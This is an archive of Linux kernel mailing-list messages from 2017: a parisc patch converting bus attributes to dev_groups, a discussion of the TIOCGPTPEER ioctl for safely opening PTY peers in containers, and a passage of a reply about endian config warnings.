Subject: parisc: parisc_bus_type: use dev_groups and not dev_attrs for
 bus_type

The dev_attrs field has long been "depreciated" and is finally being
removed, so move the driver to use the "correct" dev_groups field
instead for struct bus_type.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Bart Van Assche <bart.vanassche@sandisk.com>
Cc: Doug Ledford <dledford@redhat.com>
Cc: <linux-parisc@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
 arch/parisc/kernel/drivers.c | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index fa78419100c8..d8f77358e2ba 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -575,7 +575,8 @@ static ssize_t name##_show(struct device *dev, struct device_attribute *attr, ch
 {									\
 	struct parisc_device *padev = to_parisc_device(dev);		\
 	return sprintf(buf, format_string, padev->field);		\
-}
+}									\
+static DEVICE_ATTR_RO(name);
 
 #define pa_dev_attr_id(field, format) pa_dev_attr(field, id.field, format)
 
@@ -589,22 +590,24 @@ static ssize_t modalias_show(struct device *dev, struct device_attribute *attr,
 {
 	return make_modalias(dev, buf);
 }
+static DEVICE_ATTR_RO(modalias);
 
-static struct device_attribute parisc_device_attrs[] = {
-	__ATTR_RO(irq),
-	__ATTR_RO(hw_type),
-	__ATTR_RO(rev),
-	__ATTR_RO(hversion),
-	__ATTR_RO(sversion),
-	__ATTR_RO(modalias),
-	__ATTR_NULL,
+static struct attribute *parisc_device_attrs[] = {
+	&dev_attr_irq.attr,
+	&dev_attr_hw_type.attr,
+	&dev_attr_rev.attr,
+	&dev_attr_hversion.attr,
+	&dev_attr_sversion.attr,
+	&dev_attr_modalias.attr,
+	NULL,
 };
+ATTRIBUTE_GROUPS(parisc_device);
 
 struct bus_type parisc_bus_type = {
 	.name = "parisc",
 	.match = parisc_generic_match,
 	.uevent = parisc_uevent,
-	.dev_attrs = parisc_device_attrs,
+	.dev_groups = parisc_device_groups,
 	.probe = parisc_driver_probe,
 	.remove = parisc_driver_remove,
 };
-- 
2.13.1


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 2/2] tty: add TIOCGPTPEER ioctl
Date: Fri, 9 Jun 2017 11:26:59 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20170609092659.GA26933@kroah.com>
References: <20170603141515.9529-1-asarai@suse.de>
 <20170603141515.9529-3-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1497000432 4618 195.159.176.226 (9 Jun 2017 09:27:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 09:27:12 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Aleksa Sarai <asarai@suse.de>
Original-X-From: sparclinux-owner@vger.kernel.org Fri Jun 09 11:27:07 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1dJGCA-0000ri-Jr
	for lnx-sparclinux@m.gmane.org; Fri, 09 Jun 2017 11:27:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751748AbdFIJ1L (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 9 Jun 2017 05:27:11 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:46628 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751528AbdFIJ1I (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 9 Jun 2017 05:27:08 -0400
Original-Received: from localhost (LFbn-1-12060-104.w90-92.abo.wanadoo.fr [90.92.122.104])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id DD0B7B7A;
        Fri,  9 Jun 2017 09:27:06 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170603141515.9529-3-asarai@suse.de>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:25460 gmane.linux.kernel:2496662 gmane.linux.ports.alpha:4238 gmane.linux.ports.mips.general:59573 gmane.linux.ports.parisc:27480 gmane.linux.ports.ppc64.devel:143160 gmane.linux.ports.sh.devel:55470 gmane.linux.kernel.cross-arch:37203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/25460>

On Sun, Jun 04, 2017 at 12:15:15AM +1000, Aleksa Sarai wrote:
> When opening the slave end of a PTY, it is not possible for userspace to
> safely ensure that /dev/pts/$num is actually a slave (in cases where the
> mount namespace in which devpts was mounted is controlled by an
> untrusted process). In addition, there are several unresolvable
> race conditions if userspace were to attempt to detect attacks through
> stat(2) and other similar methods [in addition it is not clear how
> userspace could detect attacks involving FUSE].
> 
> Resolve this by providing an interface for userpace to safely open the
> "peer" end of a PTY file descriptor by using the dentry cached by
> devpts. Since it is not possible to have an open master PTY without
> having its slave exposed in /dev/pts this interface is safe. This
> interface currently does not provide a way to get the master pty (since
> it is not clear whether such an interface is safe or even useful).
> 
> Cc: Christian Brauner <christian.brauner@ubuntu.com>
> Cc: Valentin Rothberg <vrothberg@suse.com>
> Signed-off-by: Aleksa Sarai <asarai@suse.de>

Is this going to be documented anywhere?  Is there a man page update
that also goes along with this?  What userspace program wants to use
this?

I'm not objecting to this, I just want to know that people will use
this, and that they can find out information about it if they want to.

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 2/2] tty: add TIOCGPTPEER ioctl
Date: Fri, 9 Jun 2017 19:50:43 +1000
Lines: 44
Approved: news@gmane.org
Message-ID: <44c2b6c7-63ee-5c7f-cc77-5e1bcd69eea4@suse.de>
References: <20170603141515.9529-1-asarai@suse.de>
 <20170603141515.9529-3-asarai@suse.de> <20170609092659.GA26933@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497001874 13404 195.159.176.226 (9 Jun 2017 09:51:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 09:51:14 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 09 11:51:08 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dJGZQ-00039m-Gx
	for glk-linux-kernel-3@m.gmane.org; Fri, 09 Jun 2017 11:51:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751842AbdFIJvJ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 9 Jun 2017 05:51:09 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:33114 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751618AbdFIJvF (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 9 Jun 2017 05:51:05 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 8802AAC08;
        Fri,  9 Jun 2017 09:50:53 +0000 (UTC)
In-Reply-To: <20170609092659.GA26933@kroah.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2496699 gmane.linux.ports.alpha:4239 gmane.linux.ports.mips.general:59574 gmane.linux.ports.parisc:27481 gmane.linux.ports.ppc64.devel:143161 gmane.linux.ports.sh.devel:55471 gmane.linux.ports.sparc:25461 gmane.linux.kernel.cross-arch:37204
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2496699>

>> When opening the slave end of a PTY, it is not possible for userspace to
>> safely ensure that /dev/pts/$num is actually a slave (in cases where the
>> mount namespace in which devpts was mounted is controlled by an
>> untrusted process). In addition, there are several unresolvable
>> race conditions if userspace were to attempt to detect attacks through
>> stat(2) and other similar methods [in addition it is not clear how
>> userspace could detect attacks involving FUSE].
>>
>> Resolve this by providing an interface for userpace to safely open the
>> "peer" end of a PTY file descriptor by using the dentry cached by
>> devpts. Since it is not possible to have an open master PTY without
>> having its slave exposed in /dev/pts this interface is safe. This
>> interface currently does not provide a way to get the master pty (since
>> it is not clear whether such an interface is safe or even useful).
>>
>> Cc: Christian Brauner <christian.brauner@ubuntu.com>
>> Cc: Valentin Rothberg <vrothberg@suse.com>
>> Signed-off-by: Aleksa Sarai <asarai@suse.de>
> 
> Is this going to be documented anywhere?  Is there a man page update
> that also goes along with this?

I will add one, I didn't know where the man-pages project is hosted / 
where patches get pushed? What is the ML?

> What userspace program wants to use this?

LXC (Christian is on Cc) will use this, runC will most likely use it, 
pending on some design discussions (as well as some future container 
runtimes I'm planning on working on). Effectively any container runtime 
that wants to safely create terminals and spawn containers inside an 
existing container's namespaces will likely want to use this.

[ As an aside, I /would/ argue this is a security fix (it fixes an 
interface problem that made doing certain operations securely possible) 
but I didn't want to Cc stable@ because it's a feature and not a strict 
bugfix. ]

-- 
Aleksa Sarai
Software Engineer (Containers)
SUSE Linux GmbH
https://www.cyphar.com/


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 2/2] tty: add TIOCGPTPEER ioctl
Date: Fri, 9 Jun 2017 12:04:42 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20170609100442.GA1405@kroah.com>
References: <20170603141515.9529-1-asarai@suse.de>
 <20170603141515.9529-3-asarai@suse.de>
 <20170609092659.GA26933@kroah.com>
 <44c2b6c7-63ee-5c7f-cc77-5e1bcd69eea4@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1497002709 6976 195.159.176.226 (9 Jun 2017 10:05:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 10:05:09 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Aleksa Sarai <asarai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 09 12:04:59 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dJGmi-0000lg-MP
	for glpp-linux-parisc@m.gmane.org; Fri, 09 Jun 2017 12:04:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751645AbdFIKEx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 9 Jun 2017 06:04:53 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:49834 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751638AbdFIKEv (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 9 Jun 2017 06:04:51 -0400
Original-Received: from localhost (LFbn-1-12060-104.w90-92.abo.wanadoo.fr [90.92.122.104])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 61F127A8;
        Fri,  9 Jun 2017 10:04:50 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <44c2b6c7-63ee-5c7f-cc77-5e1bcd69eea4@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27482 gmane.linux.kernel:2496720 gmane.linux.ports.alpha:4240 gmane.linux.ports.mips.general:59575 gmane.linux.ports.ppc64.devel:143162 gmane.linux.ports.sh.devel:55472 gmane.linux.ports.sparc:25462 gmane.linux.kernel.cross-arch:37205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27482>

On Fri, Jun 09, 2017 at 07:50:43PM +1000, Aleksa Sarai wrote:
> > > When opening the slave end of a PTY, it is not possible for userspace to
> > > safely ensure that /dev/pts/$num is actually a slave (in cases where the
> > > mount namespace in which devpts was mounted is controlled by an
> > > untrusted process). In addition, there are several unresolvable
> > > race conditions if userspace were to attempt to detect attacks through
> > > stat(2) and other similar methods [in addition it is not clear how
> > > userspace could detect attacks involving FUSE].
> > > 
> > > Resolve this by providing an interface for userpace to safely open the
> > > "peer" end of a PTY file descriptor by using the dentry cached by
> > > devpts. Since it is not possible to have an open master PTY without
> > > having its slave exposed in /dev/pts this interface is safe. This
> > > interface currently does not provide a way to get the master pty (since
> > > it is not clear whether such an interface is safe or even useful).
> > > 
> > > Cc: Christian Brauner <christian.brauner@ubuntu.com>
> > > Cc: Valentin Rothberg <vrothberg@suse.com>
> > > Signed-off-by: Aleksa Sarai <asarai@suse.de>
> > 
> > Is this going to be documented anywhere?  Is there a man page update
> > that also goes along with this?
> 
> I will add one, I didn't know where the man-pages project is hosted / where
> patches get pushed? What is the ML?

>From the MAINTAINERS file:
  MAN-PAGES: MANUAL PAGES FOR LINUX -- Sections 2, 3, 4, 5, and 7
  M:      Michael Kerrisk <mtk.manpages@gmail.com>
  W:      http://www.kernel.org/doc/man-pages
  L:      linux-man@vger.kernel.org
  S:      Maintained

> > What userspace program wants to use this?
> 
> LXC (Christian is on Cc) will use this, runC will most likely use it,
> pending on some design discussions (as well as some future container
> runtimes I'm planning on working on). Effectively any container runtime that
> wants to safely create terminals and spawn containers inside an existing
> container's namespaces will likely want to use this.
> 
> [ As an aside, I /would/ argue this is a security fix (it fixes an interface
> problem that made doing certain operations securely possible) but I didn't
> want to Cc stable@ because it's a feature and not a strict bugfix. ]

Yeah, it's a new feature, so stable doesn't really fit here.  And as
people who use containers are all keeping up to date with their kernel
versions, this shouldn't be that big of a deal, not like the Android
kernel mess :)

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 2/2] tty: add TIOCGPTPEER ioctl
Date: Fri, 9 Jun 2017 20:24:30 +1000
Lines: 46
Approved: news@gmane.org
Message-ID: <f3587aca-0d84-1ca7-cfb0-830e536410c2@suse.de>
References: <20170603141515.9529-1-asarai@suse.de>
 <20170603141515.9529-3-asarai@suse.de> <20170609092659.GA26933@kroah.com>
 <44c2b6c7-63ee-5c7f-cc77-5e1bcd69eea4@suse.de>
 <20170609100442.GA1405@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497003882 787 195.159.176.226 (9 Jun 2017 10:24:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 10:24:42 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Jun 09 12:24:37 2017
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1dJH5p-0007pp-B9
	for lnx-linux-alpha@m.gmane.org; Fri, 09 Jun 2017 12:24:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751562AbdFIKYm (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Fri, 9 Jun 2017 06:24:42 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:38436 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751561AbdFIKYl (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
        Fri, 9 Jun 2017 06:24:41 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 5A3D8AC2F;
        Fri,  9 Jun 2017 10:24:39 +0000 (UTC)
In-Reply-To: <20170609100442.GA1405@kroah.com>
Content-Language: en-US
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4241 gmane.linux.kernel:2496741 gmane.linux.ports.mips.general:59576 gmane.linux.ports.parisc:27483 gmane.linux.ports.ppc64.devel:143164 gmane.linux.ports.sh.devel:55473 gmane.linux.ports.sparc:25463 gmane.linux.kernel.cross-arch:37206
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4241>

>>>> When opening the slave end of a PTY, it is not possible for userspace to
>>>> safely ensure that /dev/pts/$num is actually a slave (in cases where the
>>>> mount namespace in which devpts was mounted is controlled by an
>>>> untrusted process). In addition, there are several unresolvable
>>>> race conditions if userspace were to attempt to detect attacks through
>>>> stat(2) and other similar methods [in addition it is not clear how
>>>> userspace could detect attacks involving FUSE].
>>>>
>>>> Resolve this by providing an interface for userpace to safely open the
>>>> "peer" end of a PTY file descriptor by using the dentry cached by
>>>> devpts. Since it is not possible to have an open master PTY without
>>>> having its slave exposed in /dev/pts this interface is safe. This
>>>> interface currently does not provide a way to get the master pty (since
>>>> it is not clear whether such an interface is safe or even useful).
>>>>
>>>> Cc: Christian Brauner <christian.brauner@ubuntu.com>
>>>> Cc: Valentin Rothberg <vrothberg@suse.com>
>>>> Signed-off-by: Aleksa Sarai <asarai@suse.de>
>>>
>>> Is this going to be documented anywhere?  Is there a man page update
>>> that also goes along with this?
>>
>> I will add one, I didn't know where the man-pages project is hosted / where
>> patches get pushed? What is the ML?
> 
>  From the MAINTAINERS file:
>    MAN-PAGES: MANUAL PAGES FOR LINUX -- Sections 2, 3, 4, 5, and 7
>    M:      Michael Kerrisk <mtk.manpages@gmail.com>
>    W:      http://www.kernel.org/doc/man-pages
>    L:      linux-man@vger.kernel.org
>    S:      Maintained

Ah, should've looked there first!

Thanks Greg, I'll send it over the weekend.

-- 
Aleksa Sarai
Software Engineer (Containers)
SUSE Linux GmbH
https://www.cyphar.com/
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Babu Moger <babu.moger@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config
 definition
Date: Fri, 9 Jun 2017 08:55:06 -0500
Organization: Oracle Corporation
Lines: 31
Approved: news@gmane.org
Message-ID: <257e0d57-bf55-eb1b-26e2-ba50b1bd2676@oracle.com>
References: <1496960243-196898-1-git-send-email-babu.moger@oracle.com>
 <1496960243-196898-3-git-send-email-babu.moger@oracle.com>
 <CAMuHMdX2u8vZGBVXitH+FcfeMwZ8a1-g2b-Dh7V9=HnqJpj=hw@mail.gmail.com>
 <CAMuHMdVia9Jkwz0eEbSG0OE-Sw5wMbdjA1o3F6m10NaSWXq_Vw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1497016636 2485 195.159.176.226 (9 Jun 2017 13:57:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 9 Jun 2017 13:57:16 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "David S. Miller" <davem@davemloft.net>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Peter Zijlstra <peterz@infradead.org>,
        Ingo Molnar <mingo@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        uclinux-h8-devel@lists.sourceforge.jp,
        Linux/m68k <linux-m68k@vger.kernel.org>,
        openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 09 15:57:08 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dJKPS-0000BQ-JM
	for glk-linux-kernel-3@m.gmane.org; Fri, 09 Jun 2017 15:57:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751979AbdFIN5H (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 9 Jun 2017 09:57:07 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:29987 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751758AbdFIN5A (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 9 Jun 2017 09:57:00 -0400
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id v59DtIej013265
        (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Fri, 9 Jun 2017 13:55:18 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
        by aserv0021.oracle.com (8.13.8/8.14.4) with ESMTP id v59DtHPx017301
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Fri, 9 Jun 2017 13:55:17 GMT
Original-Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23])
        by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id v59DtB4U006152;
        Fri, 9 Jun 2017 13:55:11 GMT
Original-Received: from [10.135.190.130] (/10.135.190.130)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Fri, 09 Jun 2017 06:55:11 -0700
In-Reply-To: <CAMuHMdVia9Jkwz0eEbSG0OE-Sw5wMbdjA1o3F6m10NaSWXq_Vw@mail.gmail.com>
Content-Language: en-US
X-Source-IP: aserv0021.oracle.com [141.146.126.233]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2496964 gmane.linux.ports.m68k:9361 gmane.linux.ports.parisc:27484 gmane.linux.ports.sparc:25465
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2496964>

Geert,

On 6/9/2017 2:16 AM, Geert Uytterhoeven wrote:
> Hi Babu,
>
> On Fri, Jun 9, 2017 at 9:05 AM, Geert Uytterhoeven <geert@linux-m68k.org> wrote:
>>> Here is the original discussion
>>> http://www.spinics.net/lists/devicetree/msg178101.html
>>>
>>> Signed-off-by: Babu Moger <babu.moger@oracle.com>
>>> Suggested-by: Arnd Bergmann <arnd@arndb.de>
>> Hmm, the link above refers to a mail from me? ;-)
> Please ignore that comment. I accidentally copied one line too much
> from the other reply.

Yes. Got it.  So patch #1 is fine.   But, patch #2 might cause 
regressions. Should I drop patch 2.

>
> Gr{oetje,eeting}s,
>
>                          Geert
>
> --
> Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org
>
> In personal conversations with technical people, I call myself a hacker. But
